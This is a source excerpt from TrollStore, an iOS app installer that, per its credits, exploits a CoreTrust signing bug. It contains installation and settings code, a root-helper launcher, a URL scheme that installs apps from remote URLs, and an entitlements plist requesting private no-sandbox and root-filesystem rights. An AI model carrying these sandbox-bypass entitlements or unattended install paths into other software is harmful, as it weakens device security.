alfieGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; 24 | alfieGroupSpecifier.name = @"Alfie"; 25 | [alfieGroupSpecifier setProperty:@"Alfie found the new CoreTrust bug (CVE-2023-41991) via patchdiffing, produced a POC binary and worked on automatically applying it with the help of the ChOma library, while also contributing to said library." forKey:@"footerText"]; 26 | [_specifiers addObject:alfieGroupSpecifier]; 27 | 28 | PSSpecifier* alfieDonateSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Donate to alfiecg_dev" 29 | target:self 30 | set:nil 31 | get:nil 32 | detail:nil 33 | cell:PSButtonCell 34 | edit:nil]; 35 | alfieDonateSpecifier.identifier = @"donateToAlfie"; 36 | [alfieDonateSpecifier setProperty:@YES forKey:@"enabled"]; 37 | alfieDonateSpecifier.buttonAction = @selector(donateToAlfiePressed); 38 | [_specifiers addObject:alfieDonateSpecifier]; 39 | 40 | PSSpecifier* opaGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; 41 | opaGroupSpecifier.name = @"Opa"; 42 | [opaGroupSpecifier setProperty:@"Opa developed the ChOma library, helped with automating the bug using it and integrated it into TrollStore." forKey:@"footerText"]; 43 | [_specifiers addObject:opaGroupSpecifier]; 44 | 45 | PSSpecifier* opaDonateSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Donate to opa334" 46 | target:self 47 | set:nil 48 | get:nil 49 | detail:nil 50 | cell:PSButtonCell 51 | edit:nil]; 52 | opaDonateSpecifier.identifier = @"donateToOpa"; 53 | [opaDonateSpecifier setProperty:@YES forKey:@"enabled"]; 54 | opaDonateSpecifier.buttonAction = @selector(donateToOpaPressed); 55 | [_specifiers addObject:opaDonateSpecifier]; 56 | } 57 | [(UINavigationItem *)self.navigationItem setTitle:@"Donate"]; 58 | return _specifiers; 59 | } 60 | 61 | @end -------------------------------------------------------------------------------- /TrollStore/TSInstallationController.h: -------------------------------------------------------------------------------- 1 | @import Foundation; 2 | 3 | @interface TSInstallationController : NSObject 4 | 5 | + (void)presentInstallationAlertIfEnabledForFile:(NSString*)pathToIPA isRemoteInstall:(BOOL)remoteInstall completion:(void (^)(BOOL, NSError*))completionBlock; 6 | 7 | + (void)handleAppInstallFromFile:(NSString*)pathToIPA forceInstall:(BOOL)force completion:(void (^)(BOOL, NSError*))completion; 8 | + (void)handleAppInstallFromFile:(NSString*)pathToIPA completion:(void (^)(BOOL, NSError*))completion; 9 | 10 | + (void)handleAppInstallFromRemoteURL:(NSURL*)remoteURL completion:(void (^)(BOOL, NSError*))completion; 11 | 12 | + (void)installLdid; 13 | 14 | @end -------------------------------------------------------------------------------- /TrollStore/TSInstallationController.m: -------------------------------------------------------------------------------- 1 | #import "TSInstallationController.h" 2 | 3 | #import "TSApplicationsManager.h" 4 | #import "TSAppInfo.h" 5 | #import 6 | #import 7 | 8 | extern NSUserDefaults* trollStoreUserDefaults(void); 9 | 10 | @implementation TSInstallationController 11 | 12 | + (void)handleAppInstallFromFile:(NSString*)pathToIPA forceInstall:(BOOL)force completion:(void (^)(BOOL, NSError*))completionBlock 13 | { 14 | dispatch_async(dispatch_get_main_queue(), ^ 15 | { 16 | [TSPresentationDelegate startActivity:@"Installing"]; 17 | dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^ 18 | { 19 | // Install IPA 20 | NSString* log; 21 | int ret = [[TSApplicationsManager sharedInstance] installIpa:pathToIPA force:force log:&log]; 22 | 23 | NSError* error; 24 | if(ret != 0) 25 | { 26 | error = [[TSApplicationsManager sharedInstance] errorForCode:ret]; 27 | } 28 | 29 | NSLog(@"installed app! ret:%d, error: %@", ret, error); 30 | 31 | dispatch_async(dispatch_get_main_queue(), ^ 32 | { 33 | [TSPresentationDelegate stopActivityWithCompletion:^ 34 | { 35 | if (ret == 0) { 36 | // success 37 | if(completionBlock) completionBlock(YES, nil); 38 | } else if (ret == 171) { 39 | // recoverable error 40 | UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:[NSString stringWithFormat:@"Install Error %d", ret] message:[error localizedDescription] preferredStyle:UIAlertControllerStyleAlert]; 41 | UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action) 42 | { 43 | if(completionBlock) completionBlock(NO, error); 44 | }]; 45 | [errorAlert addAction:closeAction]; 46 | 47 | UIAlertAction* forceInstallAction = [UIAlertAction actionWithTitle:@"Force Installation" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action) 48 | { 49 | [self handleAppInstallFromFile:pathToIPA forceInstall:YES completion:completionBlock]; 50 | }]; 51 | [errorAlert addAction:forceInstallAction]; 52 | 53 | [TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil]; 54 | } else if (ret == 182) { 55 | // non-fatal informative message 56 | UIAlertController* rebootNotification = [UIAlertController alertControllerWithTitle:@"Reboot Required" message:[error localizedDescription] preferredStyle:UIAlertControllerStyleAlert]; 57 | UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleCancel handler:^(UIAlertAction* action) 58 | { 59 | if(completionBlock) completionBlock(YES, nil); 60 | }]; 61 | [rebootNotification addAction:closeAction]; 62 | 63 | UIAlertAction* rebootAction = [UIAlertAction actionWithTitle:@"Reboot Now" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action) 64 | { 65 | if(completionBlock) completionBlock(YES, nil); 66 | spawnRoot(rootHelperPath(), @[@"reboot"], nil, nil); 67 | }]; 68 | [rebootNotification addAction:rebootAction]; 69 | 70 | [TSPresentationDelegate presentViewController:rebootNotification animated:YES completion:nil]; 71 | } else if (ret == 184) { 72 | // warning 73 | UIAlertController* warningAlert = [UIAlertController alertControllerWithTitle:@"Warning" message:[error localizedDescription] preferredStyle:UIAlertControllerStyleAlert]; 74 | UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleCancel handler:^(UIAlertAction* action) 75 | { 76 | if(completionBlock) completionBlock(YES, nil); 77 | }]; 78 | [warningAlert addAction:closeAction]; 79 | 80 | [TSPresentationDelegate presentViewController:warningAlert animated:YES completion:nil]; 81 | } else { 82 | // unrecoverable error 83 | UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:[NSString stringWithFormat:@"Install Error %d", ret] message:[error localizedDescription] preferredStyle:UIAlertControllerStyleAlert]; 84 | UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil]; 85 | [errorAlert addAction:closeAction]; 86 | 87 | UIAlertAction* copyLogAction = [UIAlertAction actionWithTitle:@"Copy Debug Log" style:UIAlertActionStyleDefault handler:^(UIAlertAction* action) 88 | { 89 | UIPasteboard* pasteboard = [UIPasteboard generalPasteboard]; 90 | pasteboard.string = log; 91 | }]; 92 | [errorAlert addAction:copyLogAction]; 93 | 94 | [TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil]; 95 | 96 | if(completionBlock) completionBlock(NO, error); 97 | } 98 | }]; 99 | }); 100 | }); 101 | }); 102 | } 103 | 104 | + (void)presentInstallationAlertIfEnabledForFile:(NSString*)pathToIPA isRemoteInstall:(BOOL)remoteInstall completion:(void (^)(BOOL, NSError*))completionBlock 105 | { 106 | NSNumber* installAlertConfigurationNum = [trollStoreUserDefaults() objectForKey:@"installAlertConfiguration"]; 107 | NSUInteger installAlertConfiguration = 0; 108 | if(installAlertConfigurationNum) 109 | { 110 | installAlertConfiguration = installAlertConfigurationNum.unsignedIntegerValue; 111 | if(installAlertConfiguration > 2) 112 | { 113 | // broken pref? revert to 0 114 | installAlertConfiguration = 0; 115 | } 116 | } 117 | 118 | // Check if user disabled alert for this kind of install 119 | if(installAlertConfiguration > 0) 120 | { 121 | if(installAlertConfiguration == 2 || (installAlertConfiguration == 1 && !remoteInstall)) 122 | { 123 | [self handleAppInstallFromFile:pathToIPA completion:completionBlock]; 124 | return; 125 | } 126 | } 127 | 128 | TSAppInfo* appInfo = [[TSAppInfo alloc] initWithIPAPath:pathToIPA]; 129 | [appInfo loadInfoWithCompletion:^(NSError* error) 130 | { 131 | dispatch_async(dispatch_get_main_queue(), ^ 132 | { 133 | if(!error) 134 | { 135 | UIAlertController* installAlert = [UIAlertController alertControllerWithTitle:@"" message:@"" preferredStyle:UIAlertControllerStyleAlert]; 136 | installAlert.attributedTitle = [appInfo detailedInfoTitle]; 137 | installAlert.attributedMessage = [appInfo detailedInfoDescription]; 138 | UIAlertAction* installAction = [UIAlertAction actionWithTitle:@"Install" style:UIAlertActionStyleDefault handler:^(UIAlertAction *action) 139 | { 140 | [self handleAppInstallFromFile:pathToIPA completion:completionBlock]; 141 | }]; 142 | [installAlert addAction:installAction]; 143 | 144 | UIAlertAction* cancelAction = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:^(UIAlertAction* action) 145 | { 146 | if(completionBlock) completionBlock(NO, nil); 147 | }]; 148 | [installAlert addAction:cancelAction]; 149 | 150 | [TSPresentationDelegate presentViewController:installAlert animated:YES completion:nil]; 151 | } 152 | else 153 | { 154 | UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:[NSString stringWithFormat:@"Parse Error %ld", error.code] message:error.localizedDescription preferredStyle:UIAlertControllerStyleAlert]; 155 | UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil]; 156 | [errorAlert addAction:closeAction]; 157 | 158 | [TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil]; 159 | } 160 | }); 161 | }]; 162 | } 163 | 164 | + (void)handleAppInstallFromFile:(NSString*)pathToIPA completion:(void (^)(BOOL, NSError*))completionBlock 165 | { 166 | [self handleAppInstallFromFile:pathToIPA forceInstall:NO completion:completionBlock]; 167 | } 168 | 169 | + (void)handleAppInstallFromRemoteURL:(NSURL*)remoteURL completion:(void (^)(BOOL, NSError*))completionBlock 170 | { 171 | NSURLRequest* downloadRequest = [NSURLRequest requestWithURL:remoteURL]; 172 | 173 | dispatch_async(dispatch_get_main_queue(), ^ 174 | { 175 | NSURLSessionDownloadTask* downloadTask = [NSURLSession.sharedSession downloadTaskWithRequest:downloadRequest completionHandler:^(NSURL *location, NSURLResponse *response, NSError *error) 176 | { 177 | dispatch_async(dispatch_get_main_queue(), ^ 178 | { 179 | [TSPresentationDelegate stopActivityWithCompletion:^ 180 | { 181 | if(error) 182 | { 183 | UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error downloading app: %@", error] preferredStyle:UIAlertControllerStyleAlert]; 184 | UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil]; 185 | [errorAlert addAction:closeAction]; 186 | 187 | [TSPresentationDelegate presentViewController:errorAlert animated:YES completion:^ 188 | { 189 | if(completionBlock) completionBlock(NO, error); 190 | }]; 191 | } 192 | else 193 | { 194 | NSString* tmpIpaPath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"tmp.ipa"]; 195 | [[NSFileManager defaultManager] removeItemAtPath:tmpIpaPath error:nil]; 196 | [[NSFileManager defaultManager] moveItemAtPath:location.path toPath:tmpIpaPath error:nil]; 197 | [self presentInstallationAlertIfEnabledForFile:tmpIpaPath isRemoteInstall:YES completion:^(BOOL success, NSError* error) 198 | { 199 | [[NSFileManager defaultManager] removeItemAtPath:tmpIpaPath error:nil]; 200 | if(completionBlock) completionBlock(success, error); 201 | }]; 202 | } 203 | }]; 204 | }); 205 | }]; 206 | 207 | [TSPresentationDelegate startActivity:@"Downloading" withCancelHandler:^ 208 | { 209 | [downloadTask cancel]; 210 | }]; 211 | 212 | [downloadTask resume]; 213 | }); 214 | } 215 | 216 | + (void)installLdid 217 | { 218 | fetchLatestLdidVersion(^(NSString* latestVersion) 219 | { 220 | if(!latestVersion) return; 221 | dispatch_async(dispatch_get_main_queue(), ^ 222 | { 223 | NSURL* ldidURL = [NSURL URLWithString:@"https://github.com/opa334/ldid/releases/latest/download/ldid"]; 224 | NSURLRequest* ldidRequest = [NSURLRequest requestWithURL:ldidURL]; 225 | 226 | [TSPresentationDelegate startActivity:@"Installing ldid"]; 227 | 228 | NSURLSessionDownloadTask* downloadTask = [NSURLSession.sharedSession downloadTaskWithRequest:ldidRequest completionHandler:^(NSURL *location, NSURLResponse *response, NSError *error) 229 | { 230 | if(error) 231 | { 232 | UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error downloading ldid: %@", error] preferredStyle:UIAlertControllerStyleAlert]; 233 | UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil]; 234 | [errorAlert addAction:closeAction]; 235 | 236 | dispatch_async(dispatch_get_main_queue(), ^ 237 | { 238 | [TSPresentationDelegate stopActivityWithCompletion:^ 239 | { 240 | [TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil]; 241 | }]; 242 | }); 243 | } 244 | else if(location) 245 | { 246 | spawnRoot(rootHelperPath(), @[@"install-ldid", location.path, latestVersion], nil, nil); 247 | dispatch_async(dispatch_get_main_queue(), ^ 248 | { 249 | [TSPresentationDelegate stopActivityWithCompletion:nil]; 250 | [[NSNotificationCenter defaultCenter] postNotificationName:@"TrollStoreReloadSettingsNotification" object:nil userInfo:nil]; 251 | }); 252 | } 253 | }]; 254 | 255 | [downloadTask resume]; 256 | }); 257 | }); 258 | } 259 | 260 | @end -------------------------------------------------------------------------------- /TrollStore/TSRootViewController.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface TSRootViewController : UITabBarController 4 | 5 | @end 6 | -------------------------------------------------------------------------------- /TrollStore/TSRootViewController.m: -------------------------------------------------------------------------------- 1 | #import "TSRootViewController.h" 2 | #import "TSAppTableViewController.h" 3 | #import "TSSettingsListController.h" 4 | #import 5 | 6 | @implementation TSRootViewController 7 | 8 | - (void)loadView { 9 | [super loadView]; 10 | 11 | TSAppTableViewController* appTableVC = [[TSAppTableViewController alloc] init]; 12 | appTableVC.title = @"Apps"; 13 | 14 | TSSettingsListController* settingsListVC = [[TSSettingsListController alloc] init]; 15 | settingsListVC.title = @"Settings"; 16 | 17 | UINavigationController* appNavigationController = [[UINavigationController alloc] initWithRootViewController:appTableVC]; 18 | UINavigationController* settingsNavigationController = [[UINavigationController alloc] initWithRootViewController:settingsListVC]; 19 | 20 | appNavigationController.tabBarItem.image = [UIImage systemImageNamed:@"square.stack.3d.up.fill"]; 21 | settingsNavigationController.tabBarItem.image = [UIImage systemImageNamed:@"gear"]; 22 | 23 | self.title = @"Root View Controller"; 24 | self.viewControllers = @[appNavigationController, settingsNavigationController]; 25 | } 26 | 27 | - (void)viewDidLoad 28 | { 29 | [super viewDidLoad]; 30 | 31 | TSPresentationDelegate.presentationViewController = self; 32 | } 33 | 34 | @end 35 | -------------------------------------------------------------------------------- /TrollStore/TSSceneDelegate.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface TSSceneDelegate : UIResponder 4 | @property (strong, nonatomic) UIWindow * window; 5 | @property (nonatomic, strong) UITabBarController *rootViewController; 6 | @end 7 | -------------------------------------------------------------------------------- /TrollStore/TSSceneDelegate.m: -------------------------------------------------------------------------------- 1 | #import "TSSceneDelegate.h" 2 | #import "TSRootViewController.h" 3 | #import "TSUtil.h" 4 | #import "TSApplicationsManager.h" 5 | #import "TSInstallationController.h" 6 | #import 7 | 8 | @implementation TSSceneDelegate 9 | 10 | - (void)handleURLContexts:(NSSet*)URLContexts scene:(UIWindowScene*)scene 11 | { 12 | for(UIOpenURLContext* context in URLContexts) 13 | { 14 | NSURL* url = context.URL; 15 | 16 | if(url) 17 | { 18 | if([url isFileURL]) 19 | { 20 | [url startAccessingSecurityScopedResource]; 21 | void (^doneBlock)(BOOL) = ^(BOOL shouldExit) 22 | { 23 | [url stopAccessingSecurityScopedResource]; 24 | [[NSFileManager defaultManager] removeItemAtURL:url error:nil]; 25 | 26 | if(shouldExit) 27 | { 28 | NSLog(@"Respring + Exit"); 29 | respring(); 30 | exit(0); 31 | } 32 | }; 33 | 34 | if ([url.pathExtension.lowercaseString isEqualToString:@"ipa"] || [url.pathExtension.lowercaseString isEqualToString:@"tipa"]) 35 | { 36 | [TSInstallationController presentInstallationAlertIfEnabledForFile:url.path isRemoteInstall:NO completion:^(BOOL success, NSError* error){ 37 | doneBlock(NO); 38 | }]; 39 | } 40 | else if([url.pathExtension.lowercaseString isEqualToString:@"tar"]) 41 | { 42 | // Update TrollStore itself 43 | NSLog(@"Updating TrollStore..."); 44 | int ret = spawnRoot(rootHelperPath(), @[@"install-trollstore", url.path], nil, nil); 45 | doneBlock(ret == 0); 46 | NSLog(@"Updated TrollStore!"); 47 | } 48 | } 49 | else if([url.scheme isEqualToString:@"apple-magnifier"]) 50 | { 51 | NSURLComponents* components = [NSURLComponents componentsWithURL:url resolvingAgainstBaseURL:NO]; 52 | if([components.host isEqualToString:@"install"]) 53 | { 54 | NSString* URLStringToInstall; 55 | 56 | for(NSURLQueryItem* queryItem in components.queryItems) 57 | { 58 | if([queryItem.name isEqualToString:@"url"]) 59 | { 60 | URLStringToInstall = queryItem.value; 61 | break; 62 | } 63 | } 64 | 65 | if(URLStringToInstall && [URLStringToInstall isKindOfClass:NSString.class]) 66 | { 67 | NSURL* URLToInstall = [NSURL URLWithString:URLStringToInstall]; 68 | [TSInstallationController handleAppInstallFromRemoteURL:URLToInstall completion:nil]; 69 | } 70 | } 71 | else if([components.host isEqualToString:@"enable-jit"]) 72 | { 73 | NSString* BundleIDToEnableJIT; 74 | 75 | for(NSURLQueryItem* queryItem in components.queryItems) 76 | { 77 | if([queryItem.name isEqualToString:@"bundle-id"]) 78 | { 79 | BundleIDToEnableJIT = queryItem.value; 80 | break; 81 | } 82 | } 83 | 84 | if(BundleIDToEnableJIT && [BundleIDToEnableJIT isKindOfClass:NSString.class]) 85 | { 86 | dispatch_async(dispatch_get_main_queue(), ^ 87 | { 88 | [self handleEnableJITForBundleID:BundleIDToEnableJIT]; 89 | }); 90 | } 91 | } 92 | } 93 | } 94 | } 95 | } 96 | 97 | - (void)handleEnableJITForBundleID:(NSString *)appId 98 | { 99 | TSApplicationsManager* appsManager = [TSApplicationsManager sharedInstance]; 100 | 101 | BOOL didOpen = [appsManager openApplicationWithBundleID:appId]; 102 | 103 | // if we failed to open the app, show an alert 104 | if(!didOpen) 105 | { 106 | NSString* failMessage = @""; 107 | // we don't have TSAppInfo here so we cannot check the registration state 108 | 109 | NSString* failTitle = [NSString stringWithFormat:@"Failed to open %@", appId]; 110 | UIAlertController* didFailController = [UIAlertController alertControllerWithTitle:failTitle message:failMessage preferredStyle:UIAlertControllerStyleAlert]; 111 | UIAlertAction* cancelAction = [UIAlertAction actionWithTitle:@"Cancel" style:UIAlertActionStyleCancel handler:nil]; 112 | 113 | [didFailController addAction:cancelAction]; 114 | [TSPresentationDelegate presentViewController:didFailController animated:YES completion:nil]; 115 | } 116 | else 117 | { 118 | int ret = [appsManager enableJITForBundleID:appId]; 119 | if (ret != 0) 120 | { 121 | UIAlertController* errorAlert = [UIAlertController alertControllerWithTitle:@"Error" message:[NSString stringWithFormat:@"Error enabling JIT: trollstorehelper returned %d", ret] preferredStyle:UIAlertControllerStyleAlert]; 122 | UIAlertAction* closeAction = [UIAlertAction actionWithTitle:@"Close" style:UIAlertActionStyleDefault handler:nil]; 123 | [errorAlert addAction:closeAction]; 124 | [TSPresentationDelegate presentViewController:errorAlert animated:YES completion:nil]; 125 | } 126 | } 127 | } 128 | 129 | // We want to auto install ldid if either it doesn't exist 130 | // or if it's the one from an old TrollStore version that's no longer supported 131 | - (void)handleLdidCheck 132 | { 133 | //if (@available(iOS 16, *)) {} else { 134 | NSString* tsAppPath = [NSBundle mainBundle].bundlePath; 135 | 136 | NSString* ldidPath = [tsAppPath stringByAppendingPathComponent:@"ldid"]; 137 | NSString* ldidVersionPath = [tsAppPath stringByAppendingPathComponent:@"ldid.version"]; 138 | 139 | if(![[NSFileManager defaultManager] fileExistsAtPath:ldidPath] || ![[NSFileManager defaultManager] fileExistsAtPath:ldidVersionPath]) 140 | { 141 | [TSInstallationController installLdid]; 142 | } 143 | //} 144 | } 145 | 146 | - (void)scene:(UIScene *)scene willConnectToSession:(UISceneSession *)session options:(UISceneConnectionOptions *)connectionOptions { 147 | // Use this method to optionally configure and attach the UIWindow `window` to the provided UIWindowScene `scene`. 148 | // If using a storyboard, the `window` property will automatically be initialized and attached to the scene. 149 | // This delegate does not imply the connecting scene or session are new (see `application:configurationForConnectingSceneSession` instead). 150 | 151 | UIWindowScene* windowScene = (UIWindowScene*)scene; 152 | _window = [[UIWindow alloc] initWithWindowScene:windowScene]; 153 | _rootViewController = [[TSRootViewController alloc] init]; 154 | _window.rootViewController = _rootViewController; 155 | [_window makeKeyAndVisible]; 156 | 157 | if(connectionOptions.URLContexts.count) 158 | { 159 | [self handleURLContexts:connectionOptions.URLContexts scene:(UIWindowScene*)scene]; 160 | } 161 | else 162 | { 163 | [self handleLdidCheck]; 164 | } 165 | } 166 | 167 | 168 | - (void)sceneDidDisconnect:(UIScene *)scene { 169 | // Called as the scene is being released by the system. 170 | // This occurs shortly after the scene enters the background, or when its session is discarded. 171 | // Release any resources associated with this scene that can be re-created the next time the scene connects. 172 | // The scene may re-connect later, as its session was not necessarily discarded (see `application:didDiscardSceneSessions` instead). 173 | } 174 | 175 | 176 | - (void)sceneDidBecomeActive:(UIScene *)scene { 177 | // Called when the scene has moved from an inactive state to an active state. 178 | // Use this method to restart any tasks that were paused (or not yet started) when the scene was inactive. 179 | } 180 | 181 | 182 | - (void)sceneWillResignActive:(UIScene *)scene { 183 | // Called when the scene will move from an active state to an inactive state. 184 | // This may occur due to temporary interruptions (ex. an incoming phone call). 185 | } 186 | 187 | 188 | - (void)sceneWillEnterForeground:(UIScene *)scene { 189 | // Called as the scene transitions from the background to the foreground. 190 | // Use this method to undo the changes made on entering the background. 191 | } 192 | 193 | 194 | - (void)sceneDidEnterBackground:(UIScene *)scene { 195 | // Called as the scene transitions from the foreground to the background. 196 | // Use this method to save data, release shared resources, and store enough scene-specific state information 197 | // to restore the scene back to its current state. 198 | } 199 | 200 | - (void)scene:(UIScene *)scene openURLContexts:(NSSet *)URLContexts 201 | { 202 | [self handleURLContexts:URLContexts scene:(UIWindowScene*)scene]; 203 | } 204 | 205 | @end -------------------------------------------------------------------------------- /TrollStore/TSSettingsAdvancedListController.h: -------------------------------------------------------------------------------- 1 | #import 2 | 3 | @interface TSSettingsAdvancedListController : PSListController 4 | 5 | @end -------------------------------------------------------------------------------- /TrollStore/TSSettingsAdvancedListController.m: -------------------------------------------------------------------------------- 1 | #import "TSSettingsAdvancedListController.h" 2 | #import 3 | 4 | extern NSUserDefaults* trollStoreUserDefaults(); 5 | @interface PSSpecifier () 6 | @property (nonatomic,retain) NSArray* values; 7 | @end 8 | 9 | @implementation TSSettingsAdvancedListController 10 | 11 | - (NSMutableArray*)specifiers 12 | { 13 | if(!_specifiers) 14 | { 15 | _specifiers = [NSMutableArray new]; 16 | 17 | PSSpecifier* installationMethodGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; 18 | //installationMethodGroupSpecifier.name = @"Installation"; 19 | [installationMethodGroupSpecifier setProperty:@"installd:\nInstalls applications by doing a placeholder installation through installd, fixing the permissions and then adding it to icon cache.\nAdvantage: Might be slightly more persistent than the custom method in terms of icon cache reloads.\nDisadvantage: Causes some small issues with certain applications for seemingly no reason (E.g. Watusi cannot save preferences when being installed using this method).\n\nCustom (Recommended):\nInstalls applications by manually creating a bundle using MobileContainerManager, copying the app into it and adding it to icon cache.\nAdvantage: No known issues (As opposed to the Watusi issue outlined in the installd method).\nDisadvantage: Might be slightly less persistent then the installd method in terms of icon cache reloads.\n\nNOTE: In cases where installd is selected but the placeholder installation fails, TrollStore automatically falls back to using the Custom method." forKey:@"footerText"]; 20 | [_specifiers addObject:installationMethodGroupSpecifier]; 21 | 22 | PSSpecifier* installationMethodSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Installation Method" 23 | target:self 24 | set:nil 25 | get:nil 26 | detail:nil 27 | cell:PSStaticTextCell 28 | edit:nil]; 29 | [installationMethodSpecifier setProperty:@YES forKey:@"enabled"]; 30 | installationMethodSpecifier.identifier = @"installationMethodLabel"; 31 | [_specifiers addObject:installationMethodSpecifier]; 32 | 33 | PSSpecifier* installationMethodSegmentSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Installation Method Segment" 34 | target:self 35 | set:@selector(setPreferenceValue:specifier:) 36 | get:@selector(readPreferenceValue:) 37 | detail:nil 38 | cell:PSSegmentCell 39 | edit:nil]; 40 | [installationMethodSegmentSpecifier setProperty:@YES forKey:@"enabled"]; 41 | installationMethodSegmentSpecifier.identifier = @"installationMethodSegment"; 42 | [installationMethodSegmentSpecifier setProperty:@"com.opa334.TrollStore" forKey:@"defaults"]; 43 | [installationMethodSegmentSpecifier setProperty:@"installationMethod" forKey:@"key"]; 44 | installationMethodSegmentSpecifier.values = @[@0, @1]; 45 | installationMethodSegmentSpecifier.titleDictionary = @{@0 : @"installd", @1 : @"Custom"}; 46 | [installationMethodSegmentSpecifier setProperty:@1 forKey:@"default"]; 47 | [_specifiers addObject:installationMethodSegmentSpecifier]; 48 | 49 | PSSpecifier* uninstallationMethodGroupSpecifier = [PSSpecifier emptyGroupSpecifier]; 50 | //uninstallationMethodGroupSpecifier.name = @"Uninstallation"; 51 | [uninstallationMethodGroupSpecifier setProperty:@"installd (Recommended):\nUninstalls applications using the same API that SpringBoard uses when uninstalling them from the home screen.\n\nCustom:\nUninstalls applications by removing them from icon cache and then deleting their application and data bundles directly.\n\nNOTE: In cases where installd is selected but the stock uninstallation fails, TrollStore automatically falls back to using the Custom method." forKey:@"footerText"]; 52 | [_specifiers addObject:uninstallationMethodGroupSpecifier]; 53 | 54 | PSSpecifier* uninstallationMethodSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Uninstallation Method" 55 | target:self 56 | set:nil 57 | get:nil 58 | detail:nil 59 | cell:PSStaticTextCell 60 | edit:nil]; 61 | [uninstallationMethodSpecifier setProperty:@YES forKey:@"enabled"]; 62 | uninstallationMethodSpecifier.identifier = @"uninstallationMethodLabel"; 63 | [_specifiers addObject:uninstallationMethodSpecifier]; 64 | 65 | PSSpecifier* uninstallationMethodSegmentSpecifier = [PSSpecifier preferenceSpecifierNamed:@"Installation Method Segment" 66 | target:self 67 | set:@selector(setPreferenceValue:specifier:) 68 | get:@selector(readPreferenceValue:) 69 | detail:nil 70 | cell:PSSegmentCell 71 | edit:nil]; 72 | [uninstallationMethodSegmentSpecifier setProperty:@YES forKey:@"enabled"]; 73 | uninstallationMethodSegmentSpecifier.identifier = @"uninstallationMethodSegment"; 74 | [uninstallationMethodSegmentSpecifier setProperty:@"com.opa334.TrollStore" forKey:@"defaults"]; 75 | [uninstallationMethodSegmentSpecifier setProperty:@"uninstallationMethod" forKey:@"key"]; 76 | uninstallationMethodSegmentSpecifier.values = @[@0, @1]; 77 | uninstallationMethodSegmentSpecifier.titleDictionary = @{@0 : @"installd", @1 : @"Custom"}; 78 | [uninstallationMethodSegmentSpecifier setProperty:@0 forKey:@"default"]; 79 | [_specifiers addObject:uninstallationMethodSegmentSpecifier]; 80 | } 81 | 82 | [(UINavigationItem *)self.navigationItem setTitle:@"Advanced"]; 83 | return _specifiers; 84 | } 85 | 86 | - (void)setPreferenceValue:(NSObject*)value specifier:(PSSpecifier*)specifier 87 | { 88 | NSUserDefaults* tsDefaults = trollStoreUserDefaults(); 89 | [tsDefaults setObject:value forKey:[specifier propertyForKey:@"key"]]; 90 | } 91 | 92 | - (NSObject*)readPreferenceValue:(PSSpecifier*)specifier 93 | { 94 | NSUserDefaults* tsDefaults = trollStoreUserDefaults(); 95 | NSObject* toReturn = [tsDefaults objectForKey:[specifier propertyForKey:@"key"]]; 96 | if(!toReturn) 97 | { 98 | toReturn = [specifier propertyForKey:@"default"]; 99 | } 100 | return toReturn; 101 | } 102 | 103 | @end 104 | -------------------------------------------------------------------------------- /TrollStore/TSSettingsListController.h: -------------------------------------------------------------------------------- 1 | #import "TSListControllerShared.h" 2 | 3 | @interface TSSettingsListController : TSListControllerShared 4 | { 5 | PSSpecifier* _installPersistenceHelperSpecifier; 6 | NSString* _newerVersion; 7 | NSString* _newerLdidVersion; 8 | BOOL _devModeEnabled; 9 | } 10 | @end -------------------------------------------------------------------------------- /TrollStore/control: -------------------------------------------------------------------------------- 1 | Package: com.opa334.trollstore 2 | Name: TrollStore 3 | Version: 2.0.11 4 | Architecture: iphoneos-arm 5 | Description: An awesome application! 6 | Maintainer: opa334 7 | Author: opa334 8 | Section: Utilities 9 | -------------------------------------------------------------------------------- /TrollStore/entitlements.plist: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | application-identifier 6 | com.opa334.TrollStore 7 | platform-application 8 | 9 | com.apple.security.exception.files.absolute-path.read-write 10 | 11 | / 12 | 13 | com.apple.security.exception.iokit-user-client-class 14 | 15 | AGXDeviceUserClient 16 | IOSurfaceRootUserClient 17 | 18 | com.apple.private.security.no-sandbox 19 | 20 | com.apple.private.persona-mgmt 21 | 22 | com.apple.private.security.container-manager 23 | 24 | com.apple.private.coreservices.canmaplsdatabase 25 | 26 | com.apple.lsapplicationworkspace.rebuildappdatabases 27 | 28 | com.apple.private.MobileContainerManager.allowed 29 | 30 | com.apple.private.MobileInstallationHelperService.InstallDaemonOpsEnabled 31 | 32 | com.apple.private.MobileInstallationHelperService.allowed 33 | 34 | com.apple.private.uninstall.deletion 35 | 36 | com.apple.private.security.storage.MobileDocuments 37 | 38 | 